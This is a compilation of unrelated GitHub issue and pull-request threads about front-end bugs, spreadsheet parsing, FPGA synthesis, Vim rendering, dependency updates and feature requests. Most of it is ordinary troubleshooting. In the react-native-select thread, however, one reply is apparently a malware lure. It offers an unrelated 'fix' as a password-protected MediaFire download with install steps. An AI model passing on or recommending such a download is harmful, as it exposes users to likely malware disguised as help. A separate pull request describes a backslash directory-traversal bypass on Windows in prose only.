Focus is stuck sometimes when hasTVPreferredFocus is enabled

Description
After updating react-native-tvos from 0.74.3-0 to 0.76.3-0, application started to behave sometimes incorrectly, to be more specific there are certain issues with focus handling:
On a screen with a ScrollView and a couple of Pressable items inside of it, and hasTVPreferredFocus on a first item set to always true, when attempting to switch a focus to another item by pressing RIGHT or LEFT, it moves there and then immediately comes back to a first item.
The only thing Pressable is updating in terms of props is style to visually show focus.
Removing hasTVPreferredFocus, seems to be fixing the issue.
This behaviour is random and previously (Fabric/new arch was disabled) was not present and appeared only after the update.
After update, node_modules, metro cache, watchman cache were cleaned.
Environment

react-native-tvos: 0.76.3-0 (without Expo)
New architecture: Enabled
Platform: Android
Device: Both simulator and physical device
Mode: Both debug and release

Not sure that it might affect it or not, but there's a small difference in metro config, where hermesParser: false to support decorators, according to this issue

By removing style updates, the focus is also switches correctly

We will take a look. This might be related to #759 . @yusufyildirim


Issue getting estyle from GetStyle function

Description
Im getting invalid memory address or nil pointer dereference when use GetStyle() > extractFills() functions, looks like if some background style does not set

Steps to reproduce the issue:

It is not clear yet when is the problem come, user upload a modified file and the problem comes with the file
I use file.GetStyle() function, I traced the error to GetBaseColor() function line:1385
I get the below stack trace:

runtime error: invalid memory address or nil pointer dereference
        runtime.gopanic
		/usr/lib/go/src/runtime/panic.go:914
	runtime.panicmem
		/usr/lib/go/src/runtime/panic.go:261
	runtime.sigpanic
		/usr/lib/go/src/runtime/signal_unix.go:861
	github.com/xuri/excelize/v2.(*File).GetBaseColor
		/go/pkg/mod/github.com/xuri/excelize/**@v2.8.1/styles.go:1385
	github.com/xuri/excelize/v2.(*File).getThemeColor
		/go/pkg/mod/github.com/xuri/excelize/**@v2.8.1/styles.go:1422
	github.com/xuri/excelize/v2.(*File).extractFills
		/go/pkg/mod/github.com/xuri/excelize/**@v2.8.1/styles.go:1488
	github.com/xuri/excelize/v2.(*File).GetStyle
		/go/pkg/mod/github.com/xuri/excelize/**@v2.8.1/styles.go:1614
	github.com/melisource/fury_shipping-claims-backoffice/pkg/fprocess.ResetCellStyle
		/app/pkg/fprocess/fprocess.go:446

On above screenshots I can see that clrScheme.Lt1.SysClr is nil then when it try to get LastClr get panic.
Then my question is, Why SysClr is nil and what that it mean?
Describe the results you received:
invalid memory address or nil pointer dereference
Describe the results you expected:
Stye by index provided
Output of go version:
go version go1.21.6 darwin/arm64

Excelize version or commit ID:
v2.8.1

Environment details (OS, Microsoft Excel™ version, physical, etc.):

Thanks for your issue. Could you show us a complete, standalone example program or reproducible demo? If you open an existing workbook, please provide the file attachment without confidential info.

issue_file.xlsx
Sure, above file its the issue file.
unfortunately I can't provide standalone example program.
I hope you can help me with the provided file.

On the other hand how can I understand what it mean propterty names like Lt1 Dk1 and others? Thks

Thanks for your feedback. This issue has been fixed, please upgrade to the master branch code by go get -u github.com/xuri/excelize/v2@master, and this patch will be released in the next version. You can get more details about Lt1 and Dk1 in ISO/IEC 29500:1 (ECMA-376 OOXML) specification §<IP_ADDRESS>.22 and §<IP_ADDRESS>.9.

Thank you for your prompt response and implementation of the fix!


Feature Request: Indicate whether an alert is auto-recovering or not in the alert JSON output

It would be useful to have an indication if NoRecoveries is set in the alert JSON output.
In my use case this will be used by custom monitoring system (via the exec handler) to display to the user whether a given alert will auto-recover or need to be manually acknowleged. We have a mix of both types of alerts.

@oplehto Sorry about the delayed response to this.
Seems like a reasonable request to me. I'll get on this ASAP.

Fixed by #1828


Type new option

Discussed in https://github.com/azeezat/react-native-select/discussions/78

Originally posted by smith15973 August 30, 2024
Is there a way to make this either a select or you can type in the search box to create a new option. I want the user to be able to select from a list of ingredients but also be able to enter a new ingredient if it is not already in the list of options

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Script for simulating coupling on CARC

see also Sarah's styled diagram
Work_Flow_mockup_v1.pptx

Example Files
Queuing a run on CARC: This usually ends in .pbs
dflow_mpi.txt
Boundary Conditions:
We will have .pol files but cmp's are the one that change.  These below are .cmp's.
boundriverdown_0001.txt
boundriver_up_0001.txt
.EXT files
jemez_r02_boundary.txt
.MDU File
jem_new.txt

@agregory65 In the .EXT file I see .pli extensions on what appear to be the boundary condition files, but no .cmp or .pol files. Does the EXT file need to point to boundary condition files? What is this one pointing to (see below)?
QUANTITY=dischargebnd
FILENAME=boundriver_up.pli
FILETYPE=9
METHOD=3
OPERAND=O

QUANTITY=waterlevelbnd
FILENAME=boundriverdown.pli
FILETYPE=9
METHOD=3
OPERAND=O

QUANTITY=frictioncoefficient
FILENAME=veg-out.pol
FILETYPE=10
METHOD=4
OPERAND=O

DFLOW requires both .pli and .cmp, but the .ext only needs to point to the .pli- has something to do with the naming convention I think.  Also, the .cmp's will need to retain their original name.

Ok, thanks. Is there a place in the DFLOW input files where the .cmp files are referenced? Or should it be the same as the .pli, just with a different extension? Can you please share the .pli files? It seems those will have to go along to the DFLOW input directory?
One more related question about DFLOW files, where is the output file name specified?

nm about the example .pli files, I see them in some data you shared a while back, sorry!
Still curious about how to specify output, though. Thanks!


Fix 'this' context on acquire/released method

We need to bind the released function so we can properly access the name property in the context, otherwise this will be undefined

cc @zlintz


error while running neq2lut.py

I started to run neq2lut.py file to generate verilog scripts and synthesis results, but I was in this step since an hour. I dont know why, can you hep me solve this issue.
tsp@d092f05097bf:/workspace/logicnets/examples/cybersecurity$ python neq2lut.py --arch nid-s --checkpoint ./nid_s/best_accuracy.pth --log-dir ./nid_s/verilog/ --add-registers
Running inference on baseline model...
Baseline accuracy: 89.204683
Converting to NEQs to LUTs...
Calculating truth tables for module_list.0
Truth tables generated for 593 neurons
Calculating truth tables for module_list.1
Truth tables generated for 100 neurons
Calculating truth tables for module_list.2
Truth tables generated for 1 neurons
Running inference on LUT-based model...

Hello @nickfraser ,
It took long time to run and finally gives an error
tsp@2a794531726b:/workspace/logicnets/examples/cybersecurity$ python neq2lut.py --arch nid-s --checkpoint ./nid_s/best_accuracy.pth --log-dir ./nid_s/verilog/ --add-registers
Running inference on baseline model...
Baseline accuracy: 89.204683
Converting to NEQs to LUTs...
Calculating truth tables for module_list.0
Truth tables generated for 593 neurons
Calculating truth tables for module_list.1
Truth tables generated for 100 neurons
Calculating truth tables for module_list.2
Truth tables generated for 1 neurons
Running inference on LUT-based model...
LUT-Based Model accuracy: 89.204683
Generating verilog in ./nid_s/verilog/...
Top level entity stored at: ./nid_s/verilog//logicnet.v ...
Running out-of-context synthesis
/workspace/oh-my-xilinx/vivadoprojgen.sh:30: no matches found: ../.vhd
/workspace/oh-my-xilinx/vivadoprojgen.sh:32: no matches found: ../.h
/workspace/oh-my-xilinx/vivadoprojgen.sh:33: no matches found: ../.xdc
/workspace/oh-my-xilinx/vivadoprojgen.sh:34: no matches found: ../.vh
cat: logicnet.xdc: input file is output file
ERROR: [Common 17-69] Command failed: Run 'impl_1' has not been launched. Unable to open
can you help me solve this issue?

Hello Xilinx/logicnets,
I actually waited very long and finally got an error message. I had
described in it in the comment under this related issue. Please consider
this problem and have a look into it.
Thank you
Sai
On Mon, Nov 14, 2022, 13:19 nickfraser @.***> wrote:

You need to wait. It takes a long time.
—
Reply to this email directly, view it on GitHub
https://github.com/Xilinx/logicnets/issues/27#issuecomment-1313598888,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/A2LJVG7TZ6PZW5DVBYSLIG3WIIU4FANCNFSM6AAAAAAR5SAKNE
.
You are receiving this because you authored the thread.Message ID:
@.***>

This error appears to be coming from Vivado. It could be that the verilog is not being generated correctly, or it could be a vivado issue. Can you tell me which version of vivado that you're using? I will try to reproduce the error locally.

Hello @nickfraser ,
I am using vivado 2020.1 version.

Here is the vivado.log file in results_logicnet folder.
current_run -implementation [get_runs impl_1]
puts "INFO: Project created:vivadocompile"
INFO: Project created:vivadocompile
launch_runs -jobs 8 impl_1 -to_step route_design
[Wed Nov 16 00:05:57 2022] Launched synth_1...
Run output will be captured here: /workspace/logicnets/examples/cybersecurity/nid_s/verilog/results_logicnet/vivadocompile/vivadocompile.runs/synth_1/runme.log
[Wed Nov 16 00:05:57 2022] Launched impl_1...
Run output will be captured here: /workspace/logicnets/examples/cybersecurity/nid_s/verilog/results_logicnet/vivadocompile/vivadocompile.runs/impl_1/runme.log
launch_runs: Time (s): cpu = 00:00:19 ; elapsed = 00:00:22 . Memory (MB): peak = 2040.336 ; gain = 2.133 ; free physical = 942 ; free virtual = 5075
wait_on_run impl_1
[Wed Nov 16 00:05:57 2022] Waiting for impl_1 to finish...
[Wed Nov 16 01:17:14 2022] impl_1 finished
WARNING: [Vivado 12-8222] Failed run(s) : 'synth_1'
wait_on_run: Time (s): cpu = 00:01:48 ; elapsed = 01:11:17 . Memory (MB): peak = 2040.336 ; gain = 0.000 ; free physical = 4840 ; free virtual = 5122
open_run impl_1
ERROR: [Common 17-69] Command failed: Run 'impl_1' has not been launched. Unable to open

and here is individual synthesis log file named runme.log in results_logicnet/vivadocompile/vivadocompile.runs/synth_1 directory:
INFO: [Synth 8-6155] done synthesizing module 'layer0_N98' (100#1) [/workspace/logicnets/examples/cybersecurity/nid_s/verilog/results_logicnet/layer0_N98.v:1]
INFO: [Common 17-14] Message 'Synth 8-6155' appears 100 times and further instances of the messages will be disabled. Use the Tcl command set_msg_config to change the current settings.
Parameter DataWidth bound to: 1186 - type: integer
/tools/Xilinx/Vivado/2020.1/bin/loader: line 286:   241 Killed                  "$RDI_PROG" "$@"
Parent process (pid 241) has died. This helper process will now exit
I think these logs helps in understanding the problem more clearly.

I am using vivado 2020.1 version.

Great, thank you. I'll try to reproduce this error on my end. Let me get back to you.

Hello @nickfraser ,
I have one small clarification, when I connect this docker container to vs code via remote ssh connection and try to debug this issue. When trying to run train.py file in vs code, it is not able to find or read the input dataset that is present in data folder in cybersecurity directory. But the dataset is located in the same folder and training worked in local docker container. when connected via ssh for training it is unble to read the dataset.
Exception has occurred: FileNotFoundError
[Errno 2] No such file or directory: 'data/unsw_nb15_binarized.npz'
File "/workspace/logicnets/examples/cybersecurity/dataset.py", line 21, in get_preqnt_dataset
unsw_nb15_data = np.load(data_file)
File "/workspace/logicnets/examples/cybersecurity/train.py", line 332, in
dataset['train'] = get_preqnt_dataset(dataset_cfg['dataset_file'], split="train")
If any kind of solution or discussion is appreciated and will be helpful a lot.

When trying to run train.py file in vs code, it is not able to find or read the input dataset that is present in data folder in cybersecurity directory.

Sorry, I've never used VS code, so I can't help you with this issue. Please post this problem is a new issue, and perhaps someone else will be able to resolve it.

Hello @nickfraser ,
OK I will solved the solved of vs code, apart from that the main problem is that it is not able to rum the synthesis and print the out stats. You said you'll try to reproduce the error and get back to me. I will be waiting for the reply and try to resolve this problem.
Thank You

OK I will solved the solved of vs code, apart from that the main problem is that it is not able to rum the synthesis and print the out stats.

If you make an issue and comment with your solution, you may help other users as well.

Ok I will do that.

Hello @nickfraser ,
I am using vivado 2020.1 version.

I wasn't able to reproduce this error using vivado 2020.1. I also noticed that you also have different accuracy than the expected result for NID-S. Have you modified the network in some way?
Meanwhile, could you try using vivado 2019.2. That is the version that we test internally the most.

Hello @nickfraser ,
I am using vivado 2020.1 version.

I wasn't able to reproduce this error using vivado 2020.1. I also noticed that you also have different accuracy than the expected result for NID-S. Have you modified the network in some way?
Meanwhile, could you try using vivado 2019.2. That is the version that we test internally the most.

I did not modified the network, I was using nid-s-comp instead of nid-s, it takes very long time to generate the error message itself.
and what about these matched no found and logicnet.xdc file sayinf input is output file?
/workspace/oh-my-xilinx/vivadoprojgen.sh:30: no matches found: ../.vhd
/workspace/oh-my-xilinx/vivadoprojgen.sh:32: no matches found: ../.h
/workspace/oh-my-xilinx/vivadoprojgen.sh:33: no matches found: ../.xdc
/workspace/oh-my-xilinx/vivadoprojgen.sh:34: no matches found: ../.vh
cat: logicnet.xdc: input file is output file
['LUT', '326']
why this error or warning message occurs.
In order to switch to vivado 2019.2 I need to delete all my progress until now, I will take some time and try to run with 2019.2. But it will be helpful if there is a solution for 2020.1 version vivado.
Thank You

I used this command:
tsp@58098bd2df95:/workspace/logicnets/examples/cybersecurity$ python neq2lut.py --arch nid-s-comp --checkpoint ./nid_s_comp/best_accuracy.pth --log-dir ./nid_s_comp/verilog/ --add-registers
and I also mentioned the architecture while running as nid-s-comp. so there is no mismatch of the model. I
Apart from this after synthesis
it is not able to print post synthesis verilog based model accuracy and so on :+1:
if args.simulate_post_synthesis_verilog:
print("Running post-synthesis inference simulation of Verilog-based model...")
proc_postsynth_file(options_cfg["log_dir"])
lut_model.verilog_inference(options_cfg["log_dir"]+"/post_synth", "logicnet_post_synth.v", io_filename, add_registers=options_cfg["add_registers"])
post_synth_accuracy = test(lut_model, test_loader, cuda=False)
print("Post-synthesis Verilog-Based Model accuracy: %f" % (post_synth_accuracy))
the above mentioned code in neq2lut.py file

Ok I will have a look into it. I have another question, how and where can I can the sparsity technique in the network ?

Thanks. Unfortunately, I cannot reproduce the issue with the nid-s-comp model and vivado 2020.1. Could you try with both 2019.2 and 2022.1? Is it also possible that VS-code (from your other issues) is causing a problem? Have you tried running this directly from the docker image?

Yes, I am running it docker container using the same docker image. I will try it out and update.

Ok I will have a look into it. I have another question, how and where can I can the sparsity technique in the network ?

I don't quite understand your question, but please keep each issue specific to the problem that you are facing.

ok

@tsp6, did you try vivado 2019.2 and/or 2022.1?

Hello @nickfraser,
I did tried with 2022.1 but the version does not supports with my pc.
So once again I deleted the container and build the framework again and tried. the It worked. thank you for the support.


[BUG] - Form does not update explicit many-to-many data

Description
I have faced with a bug, a form does not update explicit many-to-many data when I for example add a new item or remove it from the list for already existed record. But at the same time it works fine when I'm creating a new record and add few items in many-to-many list on the form.
Reproduction URL
none
Reproduction steps
1. Open existed record
2. Try to add an item into list which represent many-to-many data for opened record.
3. Click Save button
4. Again open the same record to see, that the list with many-to-many data does not contain latest changes.

Next router
App router
Next Admin version
4.4.4
Screenshots
![DESCRIPTION](LINK.png)

Next Admin options
No response
Logs
No response
Browsers
No response

I can confirm this issue still exist.

I'm facing the same issue. I'm using Mongodb.

Hello @DriveSoft, could you please update to v5 and check if the issue still persists ? Thank you


wonder  know  that  the   uv whether if    instead  rye in future

wonder  know  that  the   uv whether if    instead  rye in future

Check out https://github.com/astral-sh/rye/discussions/1342.


chore: update requirement dependencies

Summary by CodeRabbit

Chores

Updated dependencies to their latest versions for improved performance and security, including FastAPI, sqlalchemy, uvicorn, and more.

@coderabbitai review


update dependencies to only signed versions

It could be nice to update the versions of the dependencies of this plugin to only signed versions to make it easier for dependent Gradle builds to establish trust for this plugin and its dependencies
Based on this signature file change in AndroidX it looks like the only unsigned dependency is aopialliance:aopalliance:1.0
Since the latest version of aopalliance seems to have been uploaded to Maven Central in 2015 ( https://mvnrepository.com/artifact/aopalliance/aopalliance ), I think that means that either this issue is infeasible or that this issue entails migrating to a different dependency than aopalliance

Lemme add dependabot to this repo too. I think that maven-core dep that brings in aopalliance might be trimmable.


Don't want finished video opening up automatically.

Great library. Thanks for your effort. I wish to request a simple feature.
Descript what feature/improvement you would like here.
I don't like the finished video automatically opening itself. It's because I wish to script the process to move the finished video to another folders. With the video opens, I cannot move the finished videos programmatically to another folder.
Descript how you would use it.
I wish to script this process using subprocess. So, I could MASS process the video(s) with this library.

--no-open exists


added static files traversal tests and squashed

Summary
GET requests with embedded backslashes can be used to access local files on Windows hosts
Motivation
Path separator used in Windows systems is the backslash.
Using backslashes in the path part of a URL can be used on those systems to bypass Mojolicious protection against directory traversal.
To avoid that, this PR blocks any url with backlashes inside the path part of it.
References
https://irclog.perlgeek.de/mojo/2018-04-23#i_16083074 and following.

Thank you. It is unfortunate that none of our Windows users have stepped up to review this pull request. But it appears to have the most complete tests and least performance impact, therefore i'm merging it.


Fix modal hide race condition

Overlay would be handled in triggerHide, the timeout here have no effect other than delay transitionend event listener to be added.
When modal was used with fade, with a default bootstrap css, the overlayDelay would be the same as modal's, resulting a race between the call of emulateTransitionEnd and the transitionend event. In most cases, the event listener would be added prior to the event but not guaranteed. By a tiny chance the transitionend event would be dispatched prior to listener added, then the page would get stuck at the overlay without the modal. hidden.bs.modal would not be dispatched either.

Thank you for spending your time on this issue. Here's my thought:
I'm not 100% sure on what this fix brings to the table, in my testing I fail to see any change. There has been a change in our emulateTransitionEnd utility, a change that somehow brakes the "open modal from inside an opened modal" functionality, at some point the backdrop won't be shown anymore when one modal is closed to open a new one, so a fix should consider that scenario.
Keep this in mind, as this should shed more light into why the code had to be this way, so perhaps we can find a fix to handle all these details.

Sorry I didn't explained the problem clearly.
I hadn't look into multiple Modal open others when working on this patch. This patch was focused on single Modal used with fade effect.
I have tested on chrome v77 on linux(debian) desktop, chrome v75 on debian with an older notebook, and almost up-to-date chrome on android, all affected.
The unexpected behaviour was: a simple button to show a modal; show and hide the modal; repeat many many times and finally the modal would stuck between hide and hidden events with the overlay covering the whole page.
Due to the race condition nature, this is not 100% reproducible. On the desktop, I could trigger it in merely 20 rounds of show/hide or more. On the notebook(less CPU power likely), it seems easier to be triggered.
The main point here is the operation to hide Modal and the operation to add event listener to catch transitionend are not atomic. Correct me if I am wrong. I assume line:230 removeClass is to start the transition to hide modal and line:234 emulateTransitionEnd is to setup the listener to catch transitionend event to continue trigger triggerHide. Since overlayDelay probably has the same value of the duration of this transition, so the sequence of the transitionend event and this timeout is unpredictable. In case the timeout was triggered later, the problem happens.
This is 'unfair', but we could manipulate the overlayDelay value on line:235 to simulate the browser js engine missing the timeout timing. If we increase overlayDelay by 50(much more than a frame duration) to simulate the timeout was triggered later, the stuck would always happen. If we decrease it by 50, the problem would not happen.
I believe transitionend event listener should be added the same time transition starts.
I've been looking into open modal from other modal scenario. It seems that the backdrop problem was show, hide, createOverlay, and removeOverlay use overlay in closure to pass reference of overlay element. In case the backdrop was removed by other Modal instance, removeOverlay of this instance would be skipped, thus overlay in this closure would left non empty preventing next call on show to invoke createOverlay.

The second patch clears overlay reference in closure when removeOverlay is suspended.
I've only tested modal with true backdrop. Neither false, static, nor any combination has been tested.
Please test.

I'm currently working on this and I hope I can provide a fix for it, also will test on Android.

UPDATE: I have something that works the way I want, but it crashes sometimes, so I'm gonna work on that next.

@stepheny I've included your changes already into my latest commit so I will close this as is no longer needed.
Please download latest master, test everything on every device you can and report back any issue you encounter.

@stepheny can you please confirm.

The race condition is gone.
I haven't tested in depth.
It seems that true and static backdrop with fade works fine and open each other as expected, but if closed by a false backdrop modal it would hang with backdrop visible.
It seems that false backdrop modal with or without fade works fine and open each other as expected, but if a true or static backdrop with fade was opened in the chain, when closed the page would hang with backdrop invisible.
Open true or static backdrop modal from other modal seem more problematic.

It seems that false backdrop modal with or without fade works fine and open each other as expected, but if a true or static backdrop with fade was opened in the chain, when closed the page would hang with backdrop invisible.

Easy fix, please download and retest latest master.

@stepheny  please take a minute to runs some tests with latest build.

Sorry for not response in time.
Much better, I think. I can't trigger any lock out, very good.
I don't mean to be troublesome. I am working on a widget library to dynamically create UI elements based on your great work. For now, I'm messing around all kinds of corner cases.
I don't think using a mix of combinations of different backdrop w/ or w/o fade is common. But if used, still a little quirk is there. As long as nothing gets stuck, I think it's good for now.
It seems that modal with fade are good. Jumping from true or static backdrop to false backdrop or vice versa will not update the opacity of backdrop. I think this is good since jumping between them
should be undefined behaviour.
If we jump from a true or static backdrop with fade modal to a false backdrop without fade modal, opening of the new modal is the same behaviour, but next jump would set the backdrop to transparent. This is a little unexpected but totally acceptable.
If we jump from a modal without fade to a true or static backdrop modal without fade (including same backdrop type), the backdrop becomes opaque black. As long as nothing locks, I think this is still acceptable, and can be improved.

It seems that modal with fade are good. Jumping from true or static backdrop to false backdrop or vice versa will not update the opacity of backdrop. I think this is good since jumping between them
should be undefined behavior.
If we jump from a true or static backdrop with fade modal to a false backdrop without fade modal, opening of the new modal is the same behaviour, but next jump would set the backdrop to transparent. This is a little unexpected but totally acceptable.

The overlay now is nearly independent of static, modal backdrop setting and fade class, in the sense that the logic is far more solid, further more preventing potential crashes. I tested a build with the ability to update the overlay in case where jumping from a modal with backdrop to another without it, but it was hard to make it stable and I decided to simplify the logic. Now the overlay behavior is set by the first opened modal, all other jumps will use same backdrop setting, which makes sense of continuity and eliminates user confusion.
Regardless of the individual settings, chained modals should/must use first open modal settings, while non-chained modals are pretty resilient in preventing crashes on open/close abuse.


Added MultiQueryRetriever

Rough first version of the PR to add a MultiQueryRetriever!
Aims to replicate the functionality that already exists on the Python side of things.
However, I added the functionality to pass in a specific amount of k which determines how many different queries you want to generate.
To do:

Someone reviews whether functionality works correctly
Additional code review
Add tests
Add documentation

Fixes #2382

Thanks for this! Happy to take it over if you don't have time to finish it up

Hey @jacoblee93 thanks for the review!
I've made most of the suggested changes.
Feel free to take over and finish this properly.
Apart from time, it is my first contribution here, so I don't have all the context yet to do things the right way :-)
Unrelated question: how can I easily test created/updated LangChain classes with a local project (living in a different folder)? Would that be to run 'yarn build' in LangChain and then point to the locally built files from my own project?

Hey @jacoblee93 thanks for the review!
I've made most of the suggested changes. Feel free to take over and finish this properly. Apart from time, it is my first contribution here, so I don't have all the context yet to do things the right way :-)
Unrelated question: how can I easily test created/updated LangChain classes with a local project (living in a different folder)? Would that be to run 'yarn build' in LangChain and then point to the locally built files from my own project?

Thank you! Will get this out in tonights release.
Yes, you'll want to run yarn build and then link. I generally use the examples/ folder if it's exploration that doesn't fit into a test case. You can run yarn build from langchain/ and then run yarn start path/to/example from examples/.

Thanks for taking over, and releasing this @jacoblee93! Good learning opportunity to see what you changed and added.
Also thanks for the building suggestions. Comes in handy next time :-)


Publish version 6.1.0

Updated Nuget dependencies and updated version to 6.1.0
Changes:

Added AddRangeAsync. PR 239
Added dictionary as arbitrary state for specifications. PR 248
Added support for updating specifications. PR 251
Updated base specifications as non-abstract classes. PR 252
Update the infrastructure for single result specifications. PR 272
Added UpdateRangeAsync. PR 272
Add WithSpecification overload for specifications with Select. PR 273

Thanks, @fiseni
Looks great!


Backport: Unable to create Linode nodetemplate

Backport rancher/rancher#19973

Version: v2.2.3-rc7
I can confirm that we can now create Linode nodetemplates without any issues. I successfully brought up a cluster and this is working as expected.


Error: image dockerfile/nginx:latest not found

The readme says to run docker run -d -p 80:80 dockerfile/nginx in order to use the image. However, the error above is returned. Removing dockerfile/ seems to work. Is there something that changed for this image?

I guess they had to change their username, I can find all their images as "library" instead of "dockerfile".

Just run docker run -d -p 80:90 nginx. The dockerfile/ prefix is no longer needed.

The _/nginx image is not the same than the dockerfile/nginx one. In particular, less volumes are shared, like /etc/nginx/sites-enabled or /etc/nginx/certs

Are we supposed to extend the _/nginx image then if we want to add more sites-enabled or add ssl?
I was hoping to give that configuration through connecting volumes


Fixing some links

Description
Fix some links to work with the new community name from Jaoude to Hub
Stack
Project stack or language (eg. Frontend):
Working Environment
Operating System (eg Linux):
Browser (eg. Chrome):
Device (eg. Laptop or Phone):
Screenshots
Please add a screenshot if applicable
[Optional] Additional Context
Add any other context about the problem here.
You can also join the discord community here
Feel free to check out other cool repositories of EddieHub Community here

Hi @TawfikYasser. I think you should edit this issue and remove these info. below since you didn't use it.

Okay @V2dha  Thanks


Fix typos

Hey!
I love working with pyntcloud :) The typos in the docs have been bothering me though, so here's a fix.

Holy guacamoli(e?) !! Thank you so much :)
I should start to pay attention to PyCharm's Typos I guess and/or go to English classes xD


Wrong attribute policy for uds

Hi,
Based on TS-0004, uds attribute should be able to be updated. But on attributePolicies.ap it is set to NP which it should be O.

Thank you!

Thanks a lot! Good catch!
Would you like to create a PR, or would it be sufficient if I make the change in the development branch? It would then included when I make the next release (planned in a few weeks).

Okay done #141

Thanks a lot!


[feature] Trigger volumesnapshotcontent deletion if snapshot is nil

volumesnapshotcontent created by open-local need to be deleted if snapshot is nil, cause external-snapshotter won't do this.
this feature can be done by open-local controller.

fixed by #116


Generate different per-Mudi IMEIs in deterministic mode

Possible enhancement, subject to additional discussion:
Currently, deterministic IMEI generation will generate the same IMEI regardless of underlying Mudi device. Since the generation algorithm is open source and the only seed input is the IMSI, network operators can identify deterministically generated IMEIs.
It could be useful to provide a new deterministic IMEI generation mode that generates different deterministic IMEIs per Mudi. This can be done by e.g. writing a random seed to disk at blue-merle installation time and using this seed in addition to the SIM's unique identifier (IMSI, ICCID) to derive the new IMEI. The random seed would not survive a factory reset, so it might be better to use another unique hardware identifier.

Closing due to being a duplicate of https://github.com/srlabs/blue-merle/issues/2


Make sure unpacked.m_common_pattern is initialized

In uastc modes where unpacked.m_common_pattern is not used, it's still read and passed by value to two functions (where it won't be used). This confuses my company's code analysis tools. Could we make sure we already initialize this member variable? Thx

Thanks - merging this into our HDR update (for early Sept.)

Fixed in v1.50


Issues with visualizing word clouds if multiple items are selected on the primary graph

For a dashboard composed from 2 related charts:
%%brunel data('topicsContent') bar x(topic) y(weight) color(weight) sort(weight) sum(weight) tooltip(#all) interaction(select) |
interaction(filter)  cloud color(weight) size(weight) sort(weight) label(word)
:: width=800, height=500
While using shift to choose multiple topics on the primary chart, Brunel shows an incorrect  word cloud visualization - the words of the second cloud are visualized as very small in comparison with the words of the first cloud.

There was a defect in repeated calls to the word cloud routine; this has been fixed in the latest branch (2.4).  For this chart, I suggest adding a ".selected" css style for the first one so you can tell which bars have been selected:
bar x(topic) y(weight) color(weight) sort(weight) tooltip(#all) sum(weight) style('.selected {stroke:red; stroke-width:2px; stroke-opacity:1}') interaction(select) | cloud color(weight) size(weight) sort(weight) label(word) interaction(filter)


DirectX font render in popup: character baselines are not aligned on the same horizontal line

Version: GVim 8.1.1456 32 bits
System: Windows 10
When directx is enabled in rop, the characters in popup with different syntax will be rendered in wrong positions:
set rop=type:directx
let lines = [
			\ "┌───────────────────┐",
			\ "│ New File   Ctrl+n │",
			\ "│ Open File  Ctrl+o │",
			\ "│ Close             │",
			\ "├───────────────────┤",
			\ "│ Save       Ctrl+s │",
			\ "│ Save As           │",
			\ "│ Save All          │",
			\ "├───────────────────┤",
			\ "│ User Menu      F9 │",
			\ "│ Dos Shell         │",
			\ "│ Time +            │",
			\ "├───────────────────┤",
			\ "│ Exit        Alt+x │",
			\ "└───────────────────┘",
			\ ]

let winid = popup_create(lines, {})

call setwinvar(winid, '&wincolor', 'Pmenu')

for index in [1, 2, 3, 5, 6, 7, 9, 10, 11, 13]
	let cmd = 'syn region Keyword'
	let cmd .= ' start=/\%' . (index + 1) . 'l\%3v/'
	let cmd .= ' end=/\%' . (index + 1) . 'l\%4v/'
	call win_execute(winid, cmd)
endfor

redraw!
call getchar()

call popup_close(winid)

The baselines of the red character and the black character are not on the same horizontal line.
See the "(N)ew File" item, "N" and "e" are not aligned in baseline.
Disable "directx" in rop will solve this:

My GVim font configuration:
set guifont=Inconsolata_Nerd_Font_Mono:h11
set guifontwide=NSimSun:h11

Hm, is this caused by https://github.com/vim/vim/commit/1f271efbbb2004c3e1b90492a3585a6d9ebd7893 (which fixes the statusline rendering)?

Hello. Looks good for me...
GVim 8.1.1456 64-bit
Windows 10

I'm using the Fira Code font.
guifont=Fira_Code_Retina:h14:cANSI:qDRAFT

@skywind3000 Does it occur when you replace the border characters with ASCII characters?

@k-takata It works as expected with ASCII borders:
let lines = [
			\ "+-------------------+",
			\ "| New File   Ctrl+n |",
			\ "| Open File  Ctrl+o |",
			\ "| Close             |",
			\ "+-------------------+",
			\ "| Save       Ctrl+s |",
			\ "| Save As           |",
			\ "| Save All          |",
			\ "+-------------------+",
			\ "| User Menu      F9 |",
			\ "| Dos Shell         |",
			\ "| Time +            |",
			\ "+-------------------+",
			\ "| Exit        Alt+x |",
			\ "+-------------------+",
			\ ]

let winid = popup_create(lines, {})

call setwinvar(winid, '&wincolor', 'Pmenu')

for index in [1, 2, 3, 5, 6, 7, 9, 10, 11, 13]
	let cmd = 'syn region Keyword'
	let cmd .= ' start=/\%' . (index + 1) . 'l\%3v/'
	let cmd .= ' end=/\%' . (index + 1) . 'l\%4v/'
	call win_execute(winid, cmd)
endfor

redraw!
call getchar()

call popup_close(winid)

output:

Why I can't use unicode borders with directx ??

I have guifontwide set to a CJK font NSimSun (新宋体),
Does it matter ? mixing CJK characters and ASCII characters cause the problem ??

If your font doesn't have the glyph, DirectX may automatically falls back to another font.
It seems that when the font substitution occurs, the baseline might be sometimes misaligned.
I'm not sure about the detail condition, though.

How to check if my font contains some certain glyphs ??

What is the alternative font ?? Can I ever change it in GVim ??

How to check if my font contains some certain glyphs ??

Not sure.

What is the alternative font ??

It will be automatically selected. I don't know which font is selected.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink

DirectWrite seems to use a different mechanism from FontLink.

Update, the baselines get aligned if I remove the keyword syntax and make the border chars and content chars are in the same color.
Looks like GVim ‘s behavior


Remove ember-array helper

From conversation https://github.com/yahoo/navi/pull/724#discussion_r395671219

This is a legacy helper required from using ember-composable-helpers and relying on the fact that the array helper would return an ember array.
After upgrading ember-composable-helpers to latest, the array helper no longer exists because it's available to all ember apps, however it returns a native array.
We only have one instance of ember-array, so we should remove it and refactor the navi-visualization components that relied on it

https://github.com/yavin-dev/framework/blob/0a6413a50c14af6cc7867b86fcf39648cb0c68c2/packages/reports/addon/templates/components/report-visualization.hbs#L5


Provide mailjet integration for Symfony Mailer

Hi,
Any plan to provide mailjet integration for Symfony Mailer (https://symfony.com/mailer, https://symfony.com/doc/master/mailer.html) ?
Amazon SES, Gmail, MailChimp, Mailgun, Postmark, SendGrid have a provider...
Thanks !!!

Are there any news? Ideas?
Maybe I could work on an integration

Would love this to as this is the only thing stoping me from using mailjet now.

FYI: I decided to use Mailgun as an alternative because it has transport integration for Mailer component.

I've just released a Transport integration for Mailjet here : sylvaindeloux/symfony-mailjet-transport

